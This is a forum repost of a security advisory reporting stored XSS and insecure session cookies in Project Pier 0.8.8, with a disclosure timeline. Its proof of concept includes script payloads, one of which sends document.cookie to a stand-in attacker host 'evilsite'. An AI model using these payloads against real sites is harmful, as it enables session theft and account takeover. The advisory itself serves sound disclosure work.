Matt Posted July 11, 2013 Report Posted July 11, 2013 Description : Project Pier version 0.8.8 suffers from cross site scripting and cookies that fail to set HttpOnly and Secure flags.Author : Carl BenedictSource : Project Pier 0.8.8 XSS / Insecure Cookies ? Packet StormCode : Summary--------------------Software : ProjectPierVersion : 0.8.8 (other versions untested)Website : http://www.projectpier.orgIssue : XSS (stored), Insecure Cookie storageCVSS Base : (AV:N/AC:M/Au:S/C:C/I:C/A:N)CVSS Score: 7.9Researcher: Carl BenedictProduct Description--------------------ProjectPier is a Free, Open-Source, PHP web application for managingtasks, projects and teams through an intuitive web interface.Details--------------------The ProjectPier web application is affected by stored XSS and insecurecookie storage. The combination of these two vulnerabilities can leadto full compromise of application credentials by stealing sessioncookies.The stored XSS can be found in the Contact Name, Contact Company Name,Contact Description fields.Proof of Concept--------------------Enter any of the following strings into the Contact Name, ContactCompany Name, and Company Description fields will generate aJavaScript alert dialog when viewing Contacts:<script>alert(1)</script%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3eCookie insecurity:The session cookies are not protected by the HttpOnly or Secure flags,allowing them to be accessed via JavaScript and sent over HTTP.Basic JavaScript alert, returning cookie values:<script>alert(document.cookie)</scriptJavaScript that sends all cookie values to 'http://evilsite' forlogging and reuse on the attacker side:<script>var url1 = "<img src=http://evilsite/" +encodeURIComponent(document.cookie) + ">"; document.writeln(url1);</scriptHistory--------------------11/07/2012 : Initial contact11/07/2012 : Vendor response. Fix planned11/12/2012 : Update requested05/21/2013 : No updates. Advisory releasedReferences--------------------Bug Report : http://www.projectpier.org/node/4520Screen Shot: http://www.projectpier.org/files/issues/ppci.jpgScreen Shot: http://www.projectpier.org/files/issues/ppci2.jpgScreen Shot: http://www.projectpier.org/files/issues/ppxss.jpg Quote